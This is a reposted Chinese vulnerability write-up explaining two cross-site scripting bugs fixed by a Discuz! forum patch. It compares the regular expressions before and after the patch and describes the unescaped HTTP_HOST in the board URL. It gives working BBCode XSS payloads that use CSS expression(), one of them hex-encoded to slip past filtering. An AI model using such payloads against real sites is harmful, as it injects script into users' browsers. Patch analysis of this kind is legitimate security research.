|
|||||||
![]() |
|||||||
|
||||||||||||||||||||
| Dz0724补丁补掉的2个xss BY superhei@ph4nt0m.org 07/09/03 对比补丁我们发现在includediscuzcode.func.php里: $discuzcodes['searcharray']['bbcode_regexp'] = array( //标签的正则 "/[align=([^[<]+?)]/i", ---->补丁前 "/[float=([^[<]+?)]/i" | V "/[align=(left|center|right)]/i", ---->补丁后 "/[float=(left|right)]/i" 继续看下面的codz是杂处理这2个标签的: $discuzcodes['replacearray']['bbcode_regexp'] = array( //替换的正则 ........ "<p align="\1">", "<br style="clear: both"><span style="float: \1;">" 替换的代码部分: $message = str_replace($discuzcodes['searcharray']['bbcode_str'], $discuzcodes['replacearray']['bbcode_str'], preg_replace( ($parsetype != 1 && $allowbbcode == 2 && $GLOBALS['_DCACHE']['bbcodes'] ? array_merge($discuzcodes['searcharray']['bbcode_regexp'], $GLOBALS['_DCACHE']['bbcodes']['searcharray']) : $discuzcodes['searcharray']['bbcode_regexp']), ($parsetype != 1 && $allowbbcode == 2 && $GLOBALS['_DCACHE']['bbcodes'] ? array_merge($discuzcodes['replacearray']['bbcode_regexp'], $GLOBALS['_DCACHE']['bbcodes']['replacearray']) : $discuzcodes['replacearray']['bbcode_regexp']), $message)); 经过测试发现$message在进入上面的str_replace以前已经被htmlspecialchars或者类似函数处理过。所以没有办法使用"和<> 这也就是意味着 "/[align=([^[<]+?)]/i"-->"<p align="\1">" 是没办法用"<>等闭合,我们再看float标签: "/[float=([^[<]+?)]/i"-->"<br style="clear: both"><span style="float: \1;">" 替换后的\1进入<span style= ,哈哈 style=里利用expression()是不需要"闭和的 :)。 测试codz: [float=expression(alert(123456789))]test[/float] 上面的只是弹个筐筐,鉴于很多牛牛都bs这个筐筐,的确有的情况有筐筐也是没办法利用的,因为alert(123456789)这个里面没有什么特别的敏感符号。我们看看"/[float=([^[<]+?)]/i" 这个提取的正则没有什么特别的过滤 只是$message在替换前就被htmlchars了 所以完全是可以利用的 如: [float=65787072657373696f6e28616c657274283132333435363738392929]test[/float] 不过还是弹筐筐 :)。 后话:Dz的discuzcode部分代码写的真的很烂[我是说代码风格],我估计DZ的负责代码安全的人员也看的郁闷啊,才导致漏洞没看出来?纯粹的YY ..... 。不过xss的黑盒测试比看代码要来的方便啊[看到这话,有人会很高兴的]。 Dz0724补丁补掉的另外一个xss - [] includecommon.inc.php里: $boardurl = 'http://'.$_SERVER['HTTP_HOST'].preg_replace("//+(api|archiver|wap)?/*$/i", '', substr($PHP_SELF, 0, strrpos($PHP_SELF, '/'))).'/'; $boardurl = htmlspecialchars('http://'.$_SERVER['HTTP_HOST'].preg_replace("//+(api|archiver|wap)?/*$/i", '', substr($PHP_SELF, 0, strrpos($PHP_SELF, '/'))).'/'); |
|
Copyright ◎ 2004 - 2008 红客中国安全网版权所有
|

